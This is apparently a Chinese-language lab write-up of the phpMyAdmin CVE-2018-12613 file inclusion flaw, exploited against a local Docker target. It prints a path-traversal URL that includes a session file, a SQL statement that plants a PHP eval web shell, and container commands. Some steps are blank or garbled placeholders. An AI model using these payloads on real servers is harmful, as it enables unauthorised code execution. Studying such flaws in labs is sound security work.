[PHP知识库]CVE-2018-12613 PHPmyadmin文件包含漏洞

目录

1. 激活靶场?

2.漏洞验证

??????? 2.1.浏览器访问，并访问server_sql.php，尝试写入一个phpinfo的小马

????????2.2.查看session

??????? 2.3.写入内容验证?

??????? 2.4.浏览器执行

3.写入webshell

????????? 3.1. phpinfo小马的作用 ???

????? 3.2. 换个厉害的马

???????? 3.3. 包含文件

4. getshell

1. 激活靶场

2.漏洞验证

??????? 2.1.浏览器访问，并访问server_sql.php，尝试写入一个phpinfo的小马

????????2.2.查看session

??????? 2.3.写入内容验证?

????????进入靶场环境，查看是否写入：

docker ps        // 查看容器ID
docker exec ID /bin/bash    
ls
ls /tmp

经过与浏览器的session对比，查找到对应的文件

查看内容

tac /tmp/sess_2d198bfd6b6b4fe8366a83ef7220213e

?内容成功写入

??????? 2.4.浏览器执行

http://127.0.0.1:8080/?target=sql.php?/../../../../../../../../tmp/sess_2d198bfd6b6b4fe8366a83ef7220213e

phpinfo小马成功执行

3.写入webshell

????????? 3.1. phpinfo小马的作用 ???

????????因为利用写入session的方式来写入shell，那么写入phpinfo小马的作用就很明显了，得到context_document_root的路径

????? 3.2. 换个厉害的马

????????继续与写入phpinfo的操作一致，这次需要写入一个木马文件

????? ?? 写入下列语句并执行

select "<?php file_put_contents('/var/www/html/getshell_new.php','<?php @eval($_POST[getshell_new]);?>')?>"

// 作用在于将POST得到的数据，写入到一个新的文件中

????????????????

?查看session，并在靶场环境中检验一下是否成功，和写入小马的操作一样的，俺就不罗嗦了

?

???????? 3.3. 包含文件

?尝试访问包含的get_shell.php，成功访问，说明包含成功

4. getshell

?打开中国蚁剑，建立连接

?

?

?